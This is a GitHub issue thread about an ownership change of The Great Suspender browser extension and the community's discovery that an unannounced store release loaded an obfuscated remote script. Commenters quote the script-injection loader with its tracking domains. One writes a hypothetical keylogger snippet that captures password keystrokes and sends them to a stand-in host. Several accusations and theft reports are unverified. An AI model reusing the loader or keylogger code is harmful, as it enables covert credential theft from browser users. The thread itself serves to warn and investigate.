Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Upcoming changes to the management of The Great Suspender #1175

Open
deanoemcke opened this issue Jun 19, 2020 · 180 comments
Open

Upcoming changes to the management of The Great Suspender #1175

deanoemcke opened this issue Jun 19, 2020 · 180 comments
Labels

Comments

@deanoemcke
Copy link
Collaborator

Hi everyone. I'd like to announce some changes to the administration of The Great Suspender project.

It's been almost 8 years since the first release of The Great Suspender to the Chrome Web Store. I've seen the extension turn from a hobby project to an indispensable chrome add-on, all due to an enthusiastic community of users that promoted the extension on my behalf.

The contribution of both code, and feedback from everyone here on GitHub has been critical to the success of the project. You have helped me detect and resolve bugs, given me ideas for UX improvements and new features, and provided technical assistance when I have found myself struggling with some code. I honestly couldn't have got to this point without you.

However, as the user base for The Great Suspender has continued to grow, so have the commitments in my private life. And I've found I'm increasingly incapable of meeting the demands that this project requires. I've therefore decided to take a step back, and let others lead the development.

I have found a new dedicated owner for The Great Suspender who has the capacity to see the extension actively maintained into the future. The new GitHub administrator for this project will be @greatsuspender. They have also purchased the rights to publish the extension to the Chrome webstore and will be managing the public release process going forwards. Big thanks for taking on this project and continuing its development!

Thanks again for all of your support here on GitHub. You're the best!

@deanoemcke deanoemcke pinned this issue Jun 19, 2020
@nfultz
Copy link

nfultz commented Jun 19, 2020

Thank you for all your work over the years. Will they also be managing the Great Discarder fork?

@shandrew
Copy link

Congrats! Can we know who the new owners are? I'd like to make sure it's someone we can continue to trust.

Thanks!

@deanoemcke
Copy link
Collaborator Author

The Great Discarder will remain with me. Although I don't have any capacity to continue the maintenance of that project right now. I may be able to continue merging PRs if they come in.

I do not wish to publish publicly any personal information about the new owner, but the project will remain open source and the code here on GitHub will continue to reflect the code published to the chrome webstore.

@ossilator
Copy link

when can we expect the new overlord to actually do something? it's been two weeks now and they haven't done anything visible. that's not much of an improvement over the previous state ... :}

@rgalonso
Copy link

Thanks for all the work over the years, Dean!

@ossilator
Copy link

so i guess we can now officially conclude that the transition was a failure? :(
i'm not at all surprised - you can't really expect someone with no track record in a project to take over a major responsibility as a volunteer. it doesn't matter how enthusiastic they may appear at the outset. that it all happened behind closed doors probably didn't help, either.
@greatsuspender, care to comment?

the question is how to move forward. finding a "worthy" successor within the community still requires prolonged investment from the old maintainer, so as things stand, even a prominent call for help on the web store would not lead to anything. i suppose a possible way forward would be declaring "bankruptcy", seeing if a viable fork emerges, and if so, transferring official ownership to its maintainer.

@lucasdf
Copy link

lucasdf commented Oct 22, 2020

Would be great to hear more about this. Unfortunately, there has been cases of "mysterious buyers" taking over projects and injecting malware on them (see NanoAdblocker/NanoCore#362). I don't have any reason to believe that the deal here might be in any way problematic like this, but the lack of information is worrisome. For now I am using a local version instead of the one provided by Google store.

ps: thank you for all your work in this project!

@Poopooracoocoo
Copy link

After what happened to Nano Adblocker and Defender and an update to The Great Suspender, my stomach is churning. I'm so scared. I don't know what I'm supposed to do. With Nano I just uninstalled them, switched to uBO and kept the filters as it leads to an archived repo. What do I do here????

@DAOWAce
Copy link

DAOWAce commented Oct 27, 2020

Hmm, addon updated to 7.1.8 but there's no release for it on github, still showing 7.1.6.

What's the official changelog in the newest update? (besides trying to parse commits)

An an aside, I still hate how Chrome decides to randomly update addons in the background despite being in developer mode. Why even have an 'update extensions' button if it's going to update them regardless?

@joshmanders
Copy link

@DAOWAce

Hmm, addon updated to 7.1.8 but there's no release for it on github, still showing 7.1.6.

Judging by the commits, it maybe was an oversight in publishing both on GitHub and on Google. Looks like he possibly published after overhauling the screenshot code in #1238 and then again after making it possible to disable Google Analytics in #1239

I've been inspecting the code on my browser extension version for any malicious stuff being added between those version discrepancies, I'd advise you to do the same. (Not sure in Chrome, but in Brave I can click inspect on the extension and view its code)

@LeChatNoir666
Copy link

LeChatNoir666 commented Oct 27, 2020

Uninstalled The Great Suspender!
Same annoying behavior like in the last update with the popup in any browser windows and again no changelog...
So I say good bye to TGS and hello to "Auto Tab Discard" on all my devices.
The 3rd Add-On after Nano Defender / Adblocker I uninstalled this week...

Also I fear another bad code injecting, especially like above about the releases.

Anyway... thanks to the old dev.

Oh and if someone decide to switch too:
Make a Backup of your Tab else you will lose your tabs with uninstalling TGS!

@danupo
Copy link

danupo commented Oct 28, 2020

addisional_code
The code has been added to gsAnalytics.js and appears to be calling javascript from outside.
The called code was obfuscated and I couldn't understand it...
I'm not an expert, so I don't know any more than this.

gsAnalytics.jsにコードが追加され、外部からjavascriptを呼び出しているように見えます。
呼び出されたコードは難読化されていて、私には分かりませんでした・・・
私は専門家ではないので、これ以上のことはわかりません。

私は英語が分からないので、機械翻訳でごめんなさい。
I don't understand English, so sorry for the machine translation.

@oddhack
Copy link

oddhack commented Oct 28, 2020

What are people using as a replacement for TGS? "Tiny Suspender" is mentioned above. In the absence of a compelling explanation by the new owner of who they are and what they're doing, and an update here consistent with the Play Store, it's only prudent to consider TGS to now be malware.

@zanglang
Copy link

zanglang commented Oct 28, 2020

The code posted in @danupo's comment caught my eye and a quick Google search turned up these Reddit posts:

https://www.reddit.com/r/chrome/comments/ikn38u/malicious_chrome_webstore_extension/
https://www.reddit.com/r/chrome/comments/gg2nii/auto_refresh_extension_now_malware/

Similar JS name and paths just with different domain, which wayyy too coincidental:

var owa_baseUrl = 'https://static.trckpath.com/';
_owa.src = owa_baseUrl + 'owa/modules/base/js/owa.tracker-combined-latest.minified.js?siteId=imkngaibigegepnlckfcbecjoilcjbhf&apikey=cc3ba1f3cad5332422ecafd9dd2aa0ac&v=' + details.version;
var owa_baseUrl = 'https://static.trckingbyte.com/';
var owa_cmds = owa_cmds || [];
owa_cmds.push(['trackPageView']);
var _owa = document.createElement('script');
 _owa.type = 'text/javascript';
 _owa.async = true;
 _owa.src =
   owa_baseUrl +
   'owa/modules/base/js/owa.tracker-combined-latest.minified.js';

Also a more indepth analysis of the minified js: https://www.reddit.com/r/chrome/comments/gg2nii/auto_refresh_extension_now_malware/fqd64jx/

Domain lookup:

Name: OWEBANALYTICS.COM
Registry Domain ID: 2566559592_DOMAIN_COM-VRSN
Domain Status:
clientTransferProhibited
Nameservers:
NS1.SITE-DNS.COM
NS2.SITE-DNS.COM
NS3.SITE-DNS.COMDates
Registry Expiration: 2021-10-17 23:49:43 UTC
Created: 2020-10-17 23:49:43 UTC

Freshly registered domain so not to trigger any Google search results eh?

Conclusion: abort abort!

@joshmanders
Copy link

Great work @danupo and @zanglang. I've added the domain to my DNS denylist, because I really don't feel like switching extensions right now. :/

@TheMCNerd2017
Copy link

The code posted in @danupo's comment caught my eye and a quick Google search turned up these Reddit posts:

https://www.reddit.com/r/chrome/comments/ikn38u/malicious_chrome_webstore_extension/
https://www.reddit.com/r/chrome/comments/gg2nii/auto_refresh_extension_now_malware/

Similar JS name and paths just with different domain, which wayyy too coincidental:

var owa_baseUrl = 'https://static.trckpath.com/';
_owa.src = owa_baseUrl + 'owa/modules/base/js/owa.tracker-combined-latest.minified.js?siteId=imkngaibigegepnlckfcbecjoilcjbhf&apikey=cc3ba1f3cad5332422ecafd9dd2aa0ac&v=' + details.version;
var owa_baseUrl = 'https://static.trckingbyte.com/';
var owa_cmds = owa_cmds || [];
owa_cmds.push(['trackPageView']);
var _owa = document.createElement('script');
 _owa.type = 'text/javascript';
 _owa.async = true;
 _owa.src =
   owa_baseUrl +
   'owa/modules/base/js/owa.tracker-combined-latest.minified.js';

Also a more indepth analysis of the minified js: https://www.reddit.com/r/chrome/comments/gg2nii/auto_refresh_extension_now_malware/fqd64jx/

Conclusion: abort abort!

I knew something was up when a new version of the extension was available, yet the GitHub was not updated. Luckily it never had a chance to update to 7.1.8 (the extension displayed the usual window when an update is available, in which I backed up my suspended tabs, deleted the staged update from the filesystem, modified the manifest file by deleting update_url, and restarted Chrome causing the extension to delete itself and become disabled) and I eventually installed 7.1.6 of the extension from the Releases page.

Good job to both @danupo and @zanglang for discovering this and making this known.

Also, should this be posted on other communities as well (like Chrome subreddit) to spread the word?

@joshmanders
Copy link

Also, should this be posted on other communities as well (like Chrome subreddit) to spread the word?

Yes. I've tweeted about it, if anyone wants to retweet go ahead, can also share anywhere else talking about it there so we can keep people in the know incase the malicious author here deletes this issue. https://twitter.com/joshmanders/status/1321283443825803264

@zanglang
Copy link

zanglang commented Oct 28, 2020

OK, it appears I may have overreacted.

owa.tracker-combined-latest.minified.js is a release artifact from the Open Web Analytics project, which proclaims to be a GA alternative. Example code: https://github.com/Open-Web-Analytics/Open-Web-Analytics/wiki/Tracker

If we DNS lookup the 2 other linked domains, they both have the same DNS SOA record, but it's not the same for owebanalytics.com. Unfortunately it's not possible to gleam any further info for this domain.

$ dig trckingbyte.com SOA +short
a8332f3a.bitcoin-dns.hosting. stela.staniyova.web.de. 2019111501 7200 7200 172800 38400
$ dig trckpath.com SOA +short
a8332f3a.bitcoin-dns.hosting. stela.staniyova.web.de. 2019111501 7200 7200 172800 38400
$ dig owebanalytics.com SOA +short
ns1.openprovider.nl. dns.openprovider.eu. 2020101801 10800 3600 604800 3600

Without actually seeing the actual tracked events that the JS is sending back it's may not be reasonable to conclude that it is malicious (and my JS-fu is not powerful enough). Almost all of our Android/iPhone apps are embedded with similar trackers to help devs track user interaction within the app, so it's up to the maintainer to step up and clarify why it's suddenly injecting a tracker.

As for the coincidence that all 3 sites host the same JS with the same directory paths... it turns out that's just how owa is packaged.

$ tar tvf owa_1.7.0_packaged.tar| less
...
-rw-r--r-- padams/admin  72183 2020-09-16 11:50 ./modules/base/js/owa.tracker-combined-min.js

@joshmanders
Copy link

Pretty suspicious to have published this version without pushing to github. It wreaks to high hell of plans to be very malicious.

@calumapplepie
Copy link

They didn't tag anything, but the tracking-opt-out branch seems to be pretty clear. The new dev added tracking, and with it an opt-out.

Let me repeat. There is an opt-out button for the tracking

Now, whether it works is another thing, but I am skeptical that they'd add such a button if they were malicious.

@Poopooracoocoo
Copy link

It's a relief that the new dev lets you opt out of the tracking they added. Relief being relative of course; still shit scared lol. They say that it's not just Google Analytics. You guys found out that there's Open Web Analytics. For now I'm continuing to use The Great Suspender. If there's a decent fork or alternative, please let us know!

@Luckz
Copy link

Luckz commented Oct 28, 2020

If you are happy discarding tabs and don't need the whole placeholder infrastructure, there's https://chrome.google.com/webstore/detail/auto-tab-discard/jhnleheckmknfcgijgkadoemagpecfol/ (and equivalents for other browsers) - it has some amazing shortcuts under chrome://extensions/shortcuts too.
Site: https://add0n.com/tab-discard.html
Source: https://github.com/rNeomy/auto-tab-discard

@kalpaj12
Copy link

The big question: Is it still safe to continue using TGS?

@seadoggie01
Copy link

I'd like to point out the amount of code that has changed since this announcement is not significant. The code that has changed has been very minor or was already a part of this GitHub in another branch. I don't worry that this extension has become unsafe, at least yet. My biggest fear is that there won't be any real future updates and the project will die. That's why I've started learning JavaScript

@lucasdf
Copy link

lucasdf commented Oct 28, 2020

The big question: Is it still safe to continue using TGS?

I would say no, because:

  1. We don't know if the loaded script is malicious or not. Even if the external script is just a valid owa analytics, it is not respecting the opt-out flag (actually, it is respecting the flag), and since it is an external script loaded from an unknown domain it might change at any time.
  2. the fact that a new version was published in the store without being published in Github is a giant red flag that can't be ignored.

@joshmanders
Copy link

The silence from the new owner is not good either.

It just wreaks of bad vibes.

@XxX-Force
Copy link

Could anyone please tell me, is removing the extension enough to reverse whatever may have been compromised on my machine / browser? Is there any potential that this extension could have used some exploit to drop code elsewhere on my computer, or otherwise cause any problems even if it is removed? Very grateful for any insight! Thank you.

@spmedia
Copy link

spmedia commented Feb 7, 2021

Why not publicly name who exactly you sold it to? They deserve to be named because they are acting maliciously and possibly committing ad fraud.

@deanoemcke

@KevinGuancheDarias
Copy link

Do you guys know if the malware version of this extension had a keylogger?, I'm worried about my user&passwords.

Can this extension register events such as keypress?

I'm worried about the imported script having something like

const texts = new Map;
const passwords = new Map;
const textEls = document.querySelectorAll('input[type=text]').forEach(el => el.addEventListener('keypress', e => texts.set(path(el), texts.get(path(el) + e.key))));
const textEls = document.querySelectorAll('input[type=password]').forEach(el => el.addEventListener('keypress', e => passwords.set(xPath(el), passwords.get(xPath(el) + e.key))));
fetch(`http://badboys-dirty-serve.badworld/${btoa(JSON.stringify(texts))}|${btoa(JSON.stringify(passwords))}`);

This is just a sample little code that would if the extension if capable of track all keystrokes on input elements.... not something really funny

@Ihysoal
Copy link

Ihysoal commented Feb 7, 2021

Why not publicly name who exactly you sold it to? They deserve to be named because they are acting maliciously and possibly committing ad fraud.

@deanoemcke

Personal theory: he signed a contract that forbids him from doing so or risk being sued. Naturally he'd put himself first before everyone else, as is evident by the sale in June.

@TheCleric
Copy link

Personal theory: he signed a contract that forbids him from doing so or risk being sued. Naturally he'd put himself first before everyone else, as is evident by the sale in June.

Wow. You expect the dude to accept a lawsuit because you feel like he should?

Don't get me wrong, anyone approaching a major open source project with a cash buyout and an NDA should be highly suspect. However @deanoemcke doesn't owe us anything (except not violating the license of any code contributed to the repo, which he hasn't). Developing open source software is a thankless job. If he decided he didn't want to do it anymore, I could see how the buyout would be enticing. If I were him, I'd be kicking myself for taking it.

What I wouldn't be doing: considering financially ruining myself and my family because someone on the internet didn't like a decision I made about a product I gave them for free. It's a crappy situation, but treating it like this is a bit over the top.

@Destroy666x
Copy link

Destroy666x commented Feb 7, 2021

Wow. You expect the dude to accept a lawsuit because you feel like he should?

Wow. What a pointless overreaction there. Not sure why you'd be defensive over someone just stating a fact. No feelings there, just someone saying the author might not be able to tell because he got a better contract for that. Which can;t be proven right or disproved. Calm down...

@Bitwolfies
Copy link

Personal theory: he signed a contract that forbids him from doing so or risk being sued. Naturally he'd put himself first before everyone else, as is evident by the sale in June.

Wow. You expect the dude to accept a lawsuit because you feel like he should?

Don't get me wrong, anyone approaching a major open source project with a cash buyout and an NDA should be highly suspect. However @deanoemcke doesn't owe us anything (except not violating the license of any code contributed to the repo, which he hasn't). Developing open source software is a thankless job. If he decided he didn't want to do it anymore, I could see how the buyout would be enticing. If I were him, I'd be kicking myself for taking it.

What I wouldn't be doing: considering financially ruining myself and my family because someone on the internet didn't like a decision I made about a product I gave them for free. It's a crappy situation, but treating it like this is a bit over the top.

I think putting potential things like their users banking info and ect at risk is a bit more than a "crappy situation"

@Ihysoal
Copy link

Ihysoal commented Feb 8, 2021

Personal theory: he signed a contract that forbids him from doing so or risk being sued. Naturally he'd put himself first before everyone else, as is evident by the sale in June.

Wow. You expect the dude to accept a lawsuit because you feel like he should?

Where did I say this? Nowhere. In fact I made it clear in that message that I expected him to do the opposite of that, so I'm not sure how you misread that so hard. Get off your moral high horse.

considering financially ruining myself and my family because someone on the internet didn't like a decision I made about a product I gave them for free

The morally neutral option is just abandoning it, making it stagnant or handing it over to other people willing to develop this open source.
You however seem to be advocating that it's reasonable to take actions that fuck over many other people, for personal gain. I'd call that sociopathy, not a "crappy situation."

@Beamy68
Copy link

Beamy68 commented Feb 10, 2021

Dude, this sale was done 183 days ago. He isn't even active since July 25th of 2020, he probably has no idea that they added malware, or that they were planning to.

@calumapplepie
Copy link

Dude, this sale was done 183 days ago. He isn't even active since July 25th of 2020, he probably has no idea that they added malware, or that they were planning to.

@Beamy68 maybe not active with git commits, but we have dragged him in here a few times. He commented on the day of the ban, for instance

Sent with GitHawk

@binary-person
Copy link

He commented on the day of the ban? Where? I can't find it in the 600+ messages generated by the users of the extension

@floryut
Copy link

floryut commented Feb 11, 2021

@binary-person
Here: #1175 (comment) and here: #1175 (comment)

@binary-person
Copy link

he didn't comment on the day of the ban from the web store. perhaps i'm misunderstanding?

@equinox
Copy link

equinox commented Feb 11, 2021

He very much did, one comment can be found here: #1263 (comment), another below that #1263 (comment). A day or so later there was a bit more, which you can find here: #1263 (comment)

kmoe added a commit to kmoe/github-drama that referenced this issue Feb 12, 2021
@ARGMAN17
Copy link

I've been losing actual money until I discovered and uninstalled it. Now I need a replacement desperately but I am too afraid to trust other strangers!

@dsignr
Copy link

dsignr commented Feb 17, 2021

So, you sold people out who trusted your product for your own gains? This is not how open source should be done dude. There are plenty of other ways to profit from open source. Tsk tsk.

@ARGMAN17
Copy link

So, you sold people out who trusted your product for your own gains? This is not how open source should be done dude. There are plenty of other ways to profit from open source. Tsk tsk.

Ikr? I was SHOCKED! Now I cannot even trust the ones I trust, because suddenly the ownership will change unnoticeably (even if it announced, my life is not that empty to follow-up each and every update of each and every extension or application)!

I know now there are alternatives like TMS, but how can I make sure this won't happen again?

@ARGMAN17
Copy link

Why not publicly name who exactly you sold it to? They deserve to be named because they are acting maliciously and possibly committing ad fraud.

@deanoemcke

Not possibly, for sure. I was robbed because of that.

@pojda
Copy link

pojda commented Feb 18, 2021

how can I make sure this won't happen again?

Unless you do not use extensions or only use ones unpacked locally after manually analyzing the code, you can't.

@borderstep
Copy link

Hi guys,
Yesterday I got an email that my crypto exchange account had a failed log-in attempt from Nigeria. 2-FA saved me.
This incident made me feel sort of appalled because I'm extremely conscientious with my online security.
Instant intuition was: browser extensions.
I disabled ALL extensions and after having done that, chrome said "The Great Suspender might contain malware."
Looking into it, I came upton this thread here.

Watch out guys, highly likely keylogger/password stealer.

@borderstep
Copy link

Why not publicly name who exactly you sold it to? They deserve to be named because they are acting maliciously and possibly committing ad fraud.
@deanoemcke

Personal theory: he signed a contract that forbids him from doing so or risk being sued. Naturally he'd put himself first before everyone else, as is evident by the sale in June.

tbh the selling story might be a front.

@HyperLynk
Copy link

Personal theory: he signed a contract that forbids him from doing so or risk being sued. Naturally he'd put himself first before everyone else, as is evident by the sale in June.

Wow. You expect the dude to accept a lawsuit because you feel like he should?
Don't get me wrong, anyone approaching a major open source project with a cash buyout and an NDA should be highly suspect. However @deanoemcke doesn't owe us anything (except not violating the license of any code contributed to the repo, which he hasn't). Developing open source software is a thankless job. If he decided he didn't want to do it anymore, I could see how the buyout would be enticing. If I were him, I'd be kicking myself for taking it.
What I wouldn't be doing: considering financially ruining myself and my family because someone on the internet didn't like a decision I made about a product I gave them for free. It's a crappy situation, but treating it like this is a bit over the top.

I think putting potential things like their users banking info and ect at risk is a bit more than a "crappy situation"

I agree with you there. Google's latest response to this situation has simply been apologizing to users about this and recommending that people who installed the extension immediately change sensitive information like passwords etc.

@Chiramisu
Copy link

Chiramisu commented Mar 4, 2021

The big question: Is it still safe to continue using TGS?

I would say no, because:

  1. We don't know if the loaded script is malicious or not. Even if the external script is just a valid owa analytics, it is not respecting the opt-out flag (actually, it is respecting the flag), and since it is an external script loaded from an unknown domain it might change at any time.
  2. the fact that a new version was published in the store without being published in Github is a giant red flag that can't be ignored.

Consider the most forked fork called The Great Suspender - Without Analytics Tracking which strips out Google Analytics tracking and adds some locales. I would tend to trust it more because I don't appreciate being treated like a commodity!! Unfortunately, it's not on the Chrome Store though, so if you need the convenience of that you can use the second most forked fork called The Marvellous Suspender (in the Store) which includes the tracking. The file is removed from the repo, but still installed with the store extension; very sneaky. You can compare them with this diff.

gsAnalytics in GreatSuspender

I also highly recommend Brave (based on Chromium) or Dissenter (based on Brave), both of which strip out and block all tracking. These browsers also block all cross-site scripting by default and give you a lot of privacy controls not found in other browsers. They even anonymize your browser thumbprint which further protects you from being tracked. Dissenter even gives you the added ability to comment on literally ANY site and avoid censorship so you can keep your voice (but of course always be kind and polite). 😀

"Arguing that you don't care about the right to privacy because you have nothing to hide is no different than saying you don't care about free speech because you have nothing to say." -Edward Snowden

@kentuckyfriedmeerkat
Copy link

This is a poor show. I'm very disappointed. Quite frankly, this isn't the first extension I've seen be in this situation (Nano Adblock was another one), and you should've known better than to effectively sell the project on to some malicious, anonymous so-and-so, thereby betraying the trust of your users and putting them at risk. There are better and less selfish ways you could've dealt with this if you couldn't handle maintaining the project any more. How was all of this not a huge red flag to you? Shameful.

@gioxx
Copy link

gioxx commented Mar 9, 2021

[...] so if you need the convenience of that you can use the second most forked fork called The Marvellous Suspender (in the Store) which includes the tracking. The file is removed from the repo, but still installed with the store extension; very sneaky. You can compare them with this diff.

Please take a look here: gioxx#62 (comment)
I know that version 7.1.6.1 still includes references to Google Analytics but I've already said that these have been completely removed from the current version on GitHub and that will soon be available on the Store (7.1.6.2).

I became a father very recently and I'm trying to catch up on the tasks left undone as quickly as possible, which is very difficult with such a young baby in the house! 😄

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

No branches or pull requests